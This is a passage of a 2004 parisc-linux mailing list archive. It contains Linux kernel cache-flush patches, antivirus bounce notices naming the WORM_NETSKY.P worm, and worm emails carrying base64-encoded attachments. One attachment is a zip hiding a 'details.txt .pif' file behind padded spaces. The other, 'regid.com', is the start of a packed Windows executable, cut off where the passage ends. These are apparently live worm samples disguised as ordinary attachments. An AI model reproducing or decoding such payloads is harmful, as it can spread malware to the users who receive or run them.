VVlUUlIiIiNEREREREREmZmZVFJSIiIjRIiIiIiIRElUSVRSUiIiI0RERERERERElUlUUlIi
IiNEiIiIiIiIRElZVFJSIiIjREREREREREREmVRSUiIiI0SIiIiIiIiIRElEUlIiIiNERERE
RERERERERFJSIiIjRIiIiIiIiIiIiERSUiIiI0REREREREREREREUlIiIiNEiIiIiIiIiIiI
RFJSIiIjRERERERERERERERSUiIiI0QiIiIiRIiIiIhEUlIiIiNEOZJEQkRERERERFJSIiIj
RDIiIiJEiIiIiERSUiIiI0Q0QndyREREREREUlIiIiNEMiJ3ckSIiIiIRFJSIiIjRDRCd3JE
RERERERSUiIiI0Q0QmZiREREREREUlIiIiNENEJmYkRERERERFJSIiIjRDMyIiJERERERERS
UiIiI0REREREREREREREUlIiIiNCRCRCRCRCRCRCRDJSIiIjQkQkQkQkQkQkQkQyUiIiIiQz
QzQzQzQzQzQzQyIiIiIiIiIiIiIiIiIiIiIiIuAAAA/gAAAH4AAAB+AAAAfgAAAH4AAAB+AA
AAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH
4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB/gAAA//////oRzoMEAB
acD9QwPABcM4niYooxADwfgQJf9/hwDDi0QkVQQS6VXs7FEHU1ZXM/8xiX381BUcYCAoi/Bo
yMA3D7dFCFBkViYYIdhTkRUUMlAOECE7x4mKPHQqFhEMDVdogKzAagLxsBIRQP91bAyKNAiI
g/j7v1QBdQQzwOtB0Ns7A/d2GOhh/xwCmbkbAVLx+YuAjDAUA0M73h5y6I3M/FfhdWwIfXgE
ii4JEWd6ObH8D5TYX14pW8myHIGMZAx8VnC+YAQMV42FnG/zoqZQamApFSysDT0oDYgs4PtO
jNcUvEb3AIB9/lyLNSTFPb/gReF0CiIlVwXWIQpo0LAvHYC93IlcoUI8ICH+NeGhORA0YTAJ
amXoMrv+EFmTP70Kg1COyiaRIEGwBq9yRAhq2wUoxEaj5B/IFjyJPbcjLXRTFDTobEV2dSLG
AxU4NXxQUVoSCXVYloUSwHQFVE0TRhUjNBEUdRkPagHnMEgSAvTQkDEwwhAAtDgwQDKQCXQk
EENVJ2yXzo5pz20KYQifdo9lIO9F727vY+9y73nscCtl/GTPJlftbyObTEQN1i/lFhTNMGJK
nwpT2WtZTrMnXC7zQ/NadjOoMXAq/8OFPDVkpy64Uw7KRoGfZ5loFXP5QlSRDoRrGQN1+GVy
9m8AbmZpZzl4LmRxbOEQQklOGEFSWRBGVgNQcm90ZWObLqN4tjFgXAAA4AHgAuAg4hDOEQQN
6Ba+EX2kDnsog0YiAYwoCRCJIBZJiRTAwp8BFYADbwgUB5ACZhPAAtAQCXBV/wO8CFIHQQIG
EwqOQigBdwFscBAon9EECBB5mYP0RPf9JhAihBDi947QAhCckU+9GAjwqwEZ0g+PA4BceMBU
B7ADrQRSAzjqrwAAAeAgcEAOS0VSTmBMMzIuZHFs4EbobwZzZUhhbhjtwFpyPml0OkZuFb6/
KWELHEEdVp96R29mUudzUXVyY582Tzqpaw1iYWQWEElpbrZueko9dE2+ZClsXbMiRvFweUlS
m+R0RkTAJFfBa293c0TfPuRj+ep5pTmgLRROYW1MhlBy8PJk45xMc2p2H0xpYjtTLz5UUJND
z+5uNA0YTGG8RXLcXOvFjE11CHjMTgMAAAAAAAAAAAAAAAAAUEsBAhQACgAAAAAA3HWGMKOI
Hd6AcwAAgHMAAFQAAAAAAAAAAAAgAAAAAAAAAGRldGFpbHMudHh0ICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
LnBpZlBLBQYAAAAAAQABAIIAAADycwAAAAA=

------=_NextPart_000_0016----=_NextPart_000_0016--




From - Thu Nov 08 21:31:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [parisc-linux-cvs] linux-2.6 jejb
Date: 06 Apr 2004 16:37:15 -0500
Lines: 171
Approved: news@gmane.org
Message-ID: <1081287436.1837.43.camel@mulgrave>
References: <20040406213446.CB675494194@palinux.hppa>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623337 7655 80.91.229.3 (22 Nov 2014 02:28:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:57 +0000 (UTC)
Cc: parisc-linux-cvs@lists.parisc-linux.org
To: PARISC list <parisc-linux@lists.parisc-linux.org>
Original-X-From: James.Bottomley@SteelEye.com  Tue Apr  6 15:37:22 2004
Return-Path: <James.Bottomley@SteelEye.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (stat1.steeleye.com [65.114.3.130])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 8D9544852; Tue,  6 Apr 2004 15:37:21 -0600 (MDT)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id
	i36LbKa26461; Tue, 6 Apr 2004 17:37:20 -0400
In-Reply-To: <20040406213446.CB675494194@palinux.hppa>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 06 Apr 2004 21:37:22 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21299

On Tue, 2004-04-06 at 16:34, James Bottomley wrote:
> CVSROOT:	/var/cvs
> Module name:	linux-2.6
> Changes by:	jejb	04/04/06 15:34:46
> 
> Modified files:
> 	.              : Makefile 
> 	arch/parisc/kernel: cache.c 
> 
> Log message:
> Fix flush_dcache_page

Index: arch/parisc/kernel/cache.c
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/kernel/cache.c,v
retrieving revision 1.6
diff -u -r1.6 cache.c
--- a/arch/parisc/kernel/cache.c	5 Apr 2004 02:47:39 -0000	1.6
+++ b/arch/parisc/kernel/cache.c	6 Apr 2004 21:30:44 -0000
@@ -227,6 +227,32 @@
 	disable_sr_hashing_asm(srhash_type);
 }
 
+/* Simple function to work out if we have an existing address translation
+ * for a user space vma. */
+static inline int translation_exists(struct vm_area_struct *vma,
+				     unsigned long addr)
+{
+	pgd_t *pgd = pgd_offset(vma->vm_mm, addr);
+	pmd_t *pmd;
+	pte_t *pte;
+
+	if(pgd_none(*pgd))
+		return 0;
+
+	pmd = pmd_offset(pgd, addr);
+	if(pmd_none(*pmd) || pmd_bad(*pmd))
+		return 0;
+
+	pte = pte_offset_map(pmd, addr);
+
+	/* The PA flush mappings show up as pte_none, but they're
+	 * valid none the less */
+	if(pte_none(*pte) && ((pte_val(*pte) & _PAGE_FLUSH) == 0))
+		return 0;
+	return 1;
+}
+	   
+
 void __flush_dcache_page(struct page *page)
 {
 	struct mm_struct *mm = current->active_mm;
@@ -237,19 +263,15 @@
 
 	if (!page->mapping)
 		return;
-	/* check shared list first if it's not empty...it's usually
-	 * the shortest */
+
+	/* We have ensured in arch_get_unmapped_area() that all shared
+	 * mappings are mapped at equivalent addresses, so we only need
+	 * to flush one for them all to become coherent */
 	list_for_each(l, &page->mapping->i_mmap_shared) {
 		struct vm_area_struct *mpnt;
-		unsigned long off;
+		unsigned long off, addr;
 
-		anyvma = mpnt = list_entry(l, struct vm_area_struct, shared);
-
-		/*
-		 * If this VMA is not in our MM, we can ignore it.
-		 */
-		if (mpnt->vm_mm != mm)
-			continue;
+		mpnt = list_entry(l, struct vm_area_struct, shared);
 
 		if (page->index < mpnt->vm_pgoff)
 			continue;
@@ -258,25 +280,51 @@
 		if (off >= (mpnt->vm_end - mpnt->vm_start) >> PAGE_SHIFT)
 			continue;
 
-		flush_cache_page(mpnt, mpnt->vm_start + (off << PAGE_SHIFT));
+		addr = mpnt->vm_start + (off << PAGE_SHIFT);
+
+		/* flush instructions produce non access tlb misses.
+		 * On PA, we nullify these instructions rather than 
+		 * taking a page fault if the pte doesn't exist, so we
+		 * have to find a congruent address with an existing
+		 * translation */
+
+		if (!translation_exists(mpnt, addr))
+			continue;
+
+		anyvma = mpnt;
+
+		/*
+		 * We try first to find a page in our current user process
+		 */
+		if (mpnt->vm_mm != mm)
+			continue;
+
+
+		flush_cache_page(mpnt, addr);
 
 		/* All user shared mappings should be equivalently mapped,
 		 * so once we've flushed one we should be ok
 		 */
-		return;
+		goto flush_unshared;
 	}
 
-	/* then check private mapping list for read only shared mappings
-	 * which are flagged by VM_MAYSHARE */
-	list_for_each(l, &page->mapping->i_mmap) {
-		struct vm_area_struct *mpnt;
-		unsigned long off;
+	/* OK, shared page but not in our current process' address space */
+	if (anyvma) {
+		unsigned long addr = anyvma->vm_start
+			+ ((page->index - anyvma->vm_pgoff) << PAGE_SHIFT);
+		flush_cache_page(anyvma, addr);
+	}
 
-		anyvma = mpnt = list_entry(l, struct vm_area_struct, shared);
+ flush_unshared:
 
+	/* Private mappings will not have congruent addresses, so we
+	 * have to flush each of them individually to make the change
+	 * in the kernel page visible */
+	list_for_each(l, &page->mapping->i_mmap) {
+		struct vm_area_struct *mpnt;
+		unsigned long off, addr;
 
-		if (mpnt->vm_mm != mm || !(mpnt->vm_flags & VM_MAYSHARE))
-			continue;
+		mpnt = list_entry(l, struct vm_area_struct, shared);
 
 		if (page->index < mpnt->vm_pgoff)
 			continue;
@@ -285,20 +333,15 @@
 		if (off >= (mpnt->vm_end - mpnt->vm_start) >> PAGE_SHIFT)
 			continue;
 
-		flush_cache_page(mpnt, mpnt->vm_start + (off << PAGE_SHIFT));
+		addr = mpnt->vm_start + (off << PAGE_SHIFT);
 
-		/* All user shared mappings should be equivalently mapped,
-		 * so once we've flushed one we should be ok
-		 */
-		return;
-	}
-	/* This is the problem case.  We failed to find the page to be
-	 * flushed in the current vma thus we have to flush it in some
-	 * other user process */
-	if (likely(anyvma)) {
-		unsigned long addr = anyvma->vm_start
-			+ ((page->index - anyvma->vm_pgoff) << PAGE_SHIFT);
-		flush_user_cache_page_non_current(anyvma, addr);
+		/* This is just for speed.  If the page translation isn't
+		 * there there's no point exciting the nadtlb handler into
+		 * a nullification frenzy */
+		if(!translation_exists(mpnt, addr))
+			continue;
+
+		flush_cache_page(mpnt, addr);
 	}
 }
 EXPORT_SYMBOL(__flush_dcache_page);



From - Thu Nov 08 21:31:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: <Administrator@s15113731.rootmaster.info>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [MailServer Notification]To Sender virus found and
	action taken.
Date: Wed, 7 Apr 2004 01:24:08 +0200
Lines: 15
Approved: news@gmane.org
Message-ID: <074401c41c2e$42bb9700$fc01a8c0@muc.nccconsulting.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623337 7657 80.91.229.3 (22 Nov 2014 02:28:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:57 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: administrator@ncc-consulting.de  Tue Apr  6 17:23:58 2004
Return-Path: <administrator@ncc-consulting.de>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from s15113731.rootmaster.info (ncc-experience.de [217.160.143.122])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7AA2C4CB7
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  6 Apr 2004 17:23:57 -0600 (MDT)
Original-Received: from mailserver.muc.ncc-consulting.de (pD9E88C3C.dip0.t-ipconnect.de
	[217.232.140.60])
	by s15113731.rootmaster.info (8.11.6/8.11.6) with ESMTP id i36NNuo13191
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 7 Apr 2004 01:23:56 +0200
Original-Received: from mail pickup service by mailserver.muc.ncc-consulting.de with
	Microsoft SMTPSVC; Wed, 7 Apr 2004 01:24:08 +0200
thread-index: AcQcLkK7s9jCr4wrR7KKwIJiYfFn2g==
Thread-Topic: [MailServer Notification]To Sender virus found and action taken.
Original-Sender: <Administrator@s15113731.rootmaster.info>
X-Mailer: Microsoft CDO for Exchange 2000
Content-Class: urn:content-classes:message
Importance: normal
Priority: normal
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
X-OriginalArrivalTime: 06 Apr 2004 23:24:08.0813 (UTC)
	FILETIME=[42CEA9D0:01C41C2E]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 06 Apr 2004 23:23:58 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21300

ScanMail for Microsoft Exchange has detected virus-infected attachment(s).

Sender = parisc-linux@lists.parisc-linux.org
Recipient(s) = Evangelos Kopanakis
Subject = Re: Encrypted Mail
Scanning time = 4/7/2004 1:24:08 AM
Engine/Pattern = 7.000-1004/1.851.00

Action on virus found:
The attachment readme.zip contains WORM_NETSKY.P virus. ScanMail has Passed it. 

Warning to sender! 
A Virus was found in an Mail you send to us. 
Please check your System!


From - Thu Nov 08 21:31:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [parisc-linux-cvs] linux-2.6 jejb
Date: 06 Apr 2004 19:54:21 -0500
Lines: 131
Approved: news@gmane.org
Message-ID: <1081299262.1837.47.camel@mulgrave>
References: <20040407004901.031D3494194@palinux.hppa>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623338 7661 80.91.229.3 (22 Nov 2014 02:28:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:58 +0000 (UTC)
Cc: parisc-linux-cvs@lists.parisc-linux.org
To: PARISC list <parisc-linux@lists.parisc-linux.org>
Original-X-From: James.Bottomley@SteelEye.com  Tue Apr  6 18:54:27 2004
Return-Path: <James.Bottomley@SteelEye.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (stat1.steeleye.com [65.114.3.130])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id C2AB04CE0; Tue,  6 Apr 2004 18:54:26 -0600 (MDT)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id
	i370sPa03537; Tue, 6 Apr 2004 20:54:26 -0400
In-Reply-To: <20040407004901.031D3494194@palinux.hppa>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 07 Apr 2004 00:54:27 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21301

On Tue, 2004-04-06 at 19:49, James Bottomley wrote:
> CVSROOT:	/var/cvs
> Module name:	linux-2.6
> Changes by:	jejb	04/04/06 18:49:01
> 
> Modified files:
> 	.              : Makefile 
> 	arch/parisc/kernel: cache.c 
> 	include/asm-parisc: cacheflush.h 
> 
> Log message:
> Optimise flush_cache_page
> 
> Now that we have a way of checking translations for a page, don't bother
> flushing if there's no translation.

Index: arch/parisc/kernel/cache.c
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/kernel/cache.c,v
retrieving revision 1.7
diff -u -r1.7 cache.c
--- a/arch/parisc/kernel/cache.c	6 Apr 2004 21:34:46 -0000	1.7
+++ b/arch/parisc/kernel/cache.c	7 Apr 2004 00:16:55 -0000
@@ -227,32 +227,6 @@
 	disable_sr_hashing_asm(srhash_type);
 }
 
-/* Simple function to work out if we have an existing address translation
- * for a user space vma. */
-static inline int translation_exists(struct vm_area_struct *vma,
-				     unsigned long addr)
-{
-	pgd_t *pgd = pgd_offset(vma->vm_mm, addr);
-	pmd_t *pmd;
-	pte_t *pte;
-
-	if(pgd_none(*pgd))
-		return 0;
-
-	pmd = pmd_offset(pgd, addr);
-	if(pmd_none(*pmd) || pmd_bad(*pmd))
-		return 0;
-
-	pte = pte_offset_map(pmd, addr);
-
-	/* The PA flush mappings show up as pte_none, but they're
-	 * valid none the less */
-	if(pte_none(*pte) && ((pte_val(*pte) & _PAGE_FLUSH) == 0))
-		return 0;
-	return 1;
-}
-	   
-
 void __flush_dcache_page(struct page *page)
 {
 	struct mm_struct *mm = current->active_mm;
@@ -300,7 +274,7 @@
 			continue;
 

-		flush_cache_page(mpnt, addr);
+		__flush_cache_page(mpnt, addr);
 
 		/* All user shared mappings should be equivalently mapped,
 		 * so once we've flushed one we should be ok
@@ -312,7 +286,7 @@
 	if (anyvma) {
 		unsigned long addr = anyvma->vm_start
 			+ ((page->index - anyvma->vm_pgoff) << PAGE_SHIFT);
-		flush_cache_page(anyvma, addr);
+		__flush_cache_page(anyvma, addr);
 	}
 
  flush_unshared:
@@ -341,7 +315,7 @@
 		if(!translation_exists(mpnt, addr))
 			continue;
 
-		flush_cache_page(mpnt, addr);
+		__flush_cache_page(mpnt, addr);
 	}
 }
 EXPORT_SYMBOL(__flush_dcache_page);
Index: include/asm-parisc/cacheflush.h
===================================================================
RCS file: /var/cvs/linux-2.6/include/asm-parisc/cacheflush.h,v
retrieving revision 1.8
diff -u -r1.8 cacheflush.h
--- a/include/asm-parisc/cacheflush.h	5 Apr 2004 17:41:30 -0000	1.8
+++ b/include/asm-parisc/cacheflush.h	7 Apr 2004 00:17:15 -0000
@@ -107,6 +107,32 @@
 	}
 }
 
+/* Simple function to work out if we have an existing address translation
+ * for a user space vma. */
+static inline int translation_exists(struct vm_area_struct *vma,
+				     unsigned long addr)
+{
+	pgd_t *pgd = pgd_offset(vma->vm_mm, addr);
+	pmd_t *pmd;
+	pte_t *pte;
+
+	if(pgd_none(*pgd))
+		return 0;
+
+	pmd = pmd_offset(pgd, addr);
+	if(pmd_none(*pmd) || pmd_bad(*pmd))
+		return 0;
+
+	pte = pte_offset_map(pmd, addr);
+
+	/* The PA flush mappings show up as pte_none, but they're
+	 * valid none the less */
+	if(pte_none(*pte) && ((pte_val(*pte) & _PAGE_FLUSH) == 0))
+		return 0;
+	return 1;
+}
+
+
 /* Private function to flush a page from the cache of a non-current
  * process.  cr25 contains the Page Directory of the current user
  * process; we're going to hijack both it and the user space %sr3 to
@@ -141,17 +167,25 @@
 }
 
 static inline void
-flush_cache_page(struct vm_area_struct *vma, unsigned long vmaddr)
+__flush_cache_page(struct vm_area_struct *vma, unsigned long vmaddr)
 {
-	BUG_ON(!vma->vm_mm->context);

From - Thu Nov 08 21:31:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: <Administrator@s15113731.rootmaster.info>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [MailServer Notification]To Sender virus found and
	action taken.
Date: Wed, 7 Apr 2004 05:27:27 +0200
Lines: 15
Approved: news@gmane.org
Message-ID: <07f601c41c50$407d2040$fc01a8c0@muc.nccconsulting.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623338 7663 80.91.229.3 (22 Nov 2014 02:28:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:58 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: administrator@ncc-consulting.de  Tue Apr  6 21:28:40 2004
Return-Path: <administrator@ncc-consulting.de>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from s15113731.rootmaster.info (ncc-experience.de [217.160.143.122])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9D1784DBC
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  6 Apr 2004 21:28:39 -0600 (MDT)
Original-Received: from mailserver.muc.ncc-consulting.de (pD9E88C3C.dip0.t-ipconnect.de
	[217.232.140.60])
	by s15113731.rootmaster.info (8.11.6/8.11.6) with ESMTP id i373Sco08767
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 7 Apr 2004 05:28:38 +0200
Original-Received: from mail pickup service by mailserver.muc.ncc-consulting.de with
	Microsoft SMTPSVC; Wed, 7 Apr 2004 05:27:28 +0200
thread-index: AcQcUEB9ja03HNfKTU2fbIc+n5o0yw==
Thread-Topic: [MailServer Notification]To Sender virus found and action taken.
Original-Sender: <Administrator@s15113731.rootmaster.info>
X-Mailer: Microsoft CDO for Exchange 2000
Content-Class: urn:content-classes:message
Importance: normal
Priority: normal
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
X-OriginalArrivalTime: 07 Apr 2004 03:27:28.0016 (UTC)
	FILETIME=[409C4100:01C41C50]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 07 Apr 2004 03:28:40 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21302

ScanMail for Microsoft Exchange has detected virus-infected attachment(s).

Sender = parisc-linux@lists.parisc-linux.org
Recipient(s) = Evangelos Kopanakis
Subject = Re: Encrypted Mail
Scanning time = 4/7/2004 5:27:27 AM
Engine/Pattern = 7.000-1004/1.853.00

Action on virus found:
The attachment readme.zip contains WORM_NETSKY.P virus. ScanMail has Passed it. 

Warning to sender! 
A Virus was found in an Mail you send to us. 
Please check your System!


From - Thu Nov 08 21:31:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: srelia@alpha.nic.in
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] only encrypted!
Date: Wed, 7 Apr 2004 10:54:26 +0530
Lines: 468
Approved: news@gmane.org
Message-ID: <20040407052426.E843B4DD3@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_0012_0000642A.00000C81"
X-Trace: ger.gmane.org 1416623338 7667 80.91.229.3 (22 Nov 2014 02:28:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:58 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: srelia@alpha.nic.in  Tue Apr  6 23:24:33 2004
Return-Path: <srelia@alpha.nic.in>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from parisc-linux.org (unknown [164.100.34.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id E843B4DD3
	for <parisc-linux@parisc-linux.org>;
	Tue,  6 Apr 2004 23:24:26 -0600 (MDT)
X-Priority: 3
X-MSMail-Priority: Normal
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 07 Apr 2004 05:24:33 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21303

This is a multi-part message in MIME format.

------=_NextPart_000_0012_0000642A.00000C81
Content-Type: text/plain;
	charset="Windows-1252"
Content-Transfer-Encoding: 7bit

it's so similar as yours!

------=_NextPart_000_0012_0000642A.00000C81
Content-Type: application/octet-stream;
	name="regid.com"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
	filename="regid.com"

TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4g
RE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDANJIO0AAAAAAAAAAAOAADwILAQI4AGAAAAAQ
AAAAUAEA4LABAABgAQAAwAEAAABAAAAQAAAAAgAABAAAAAAAAAAEAAAAAAAAAADQAQAAEAAA
AAAAAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAABDFAQCAAQAAAMABABAF
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFVQ
WDAAAAAAAFABAAAQAAAAAAAAAAIAAAAAAAAAAAAAAAAAAIAAAOBVUFgxAAAAAABgAAAAYAEA
AFQAAAACAAAAAAAAAAAAAAAAAABAAADgLnJzcmMAAAAAEAAAAMABAAAIAAAAVgAAAAAAAAAA
AAAAAAAAQAAAwDEuMjQAVVBYIQwJAgm6M9yCDUwt9YeWAQDAUAAAAKIAACYFAAT/////VYvs
i0UMVleLfQgz0jPJM/aAPwB0KVNqAVsr34ldCIr3/+3/H4D7LnUMiAwCi1UgyQPX6wWIXAYB
QUZHJ/v/bXd14VsYgGQPAI1GAV9eXcOLRCQIU0xv/3+7fCQQTYH6AAgAAH06D7YIhcl0WcHA
dbr//7ckV147znwLihwGiB9HRjvxfvWAfAE+RH97+98EdATGBy5HQuvIL0ABA0gY67yAJwDt
7+5uVVvDo4HsGEuApej3//8AYN+++9u5/zMAM8CNvekP86tmq2pv9lqqUvb///+NRexWUIlV
6OgFACJ8iz1YYUAAg8QMZjl1EGbHGu5uv/0CAHYF/wrrHGgYqxhoDAT/FVze2v/vIzvGdAZm
i0AI6wRqNf/XIjGJRe429/bbGoA++P8L8HUXFCtkdtfeTiUqDIsAARhWagIB27dDtiloECZq
/VjpfgK15rf/YGr+6/ZTaN8RqP/XgI3qAf27aza3WIWbCNfsEo2F9AWm28ytUA217mQICfC3
v910BvLoXf4EWYvwWYPGfnUUv18b4YCkNQBGUUqENUu2118w23sJX/BsA/xqBFBvbru5uybi
BhAEU/L8/KAP+P49e4gcaAUXi10QUxHsFt52WzxQXwVqOYVdQFO7fTvZ0HB1Ffxe6zUj6FAn
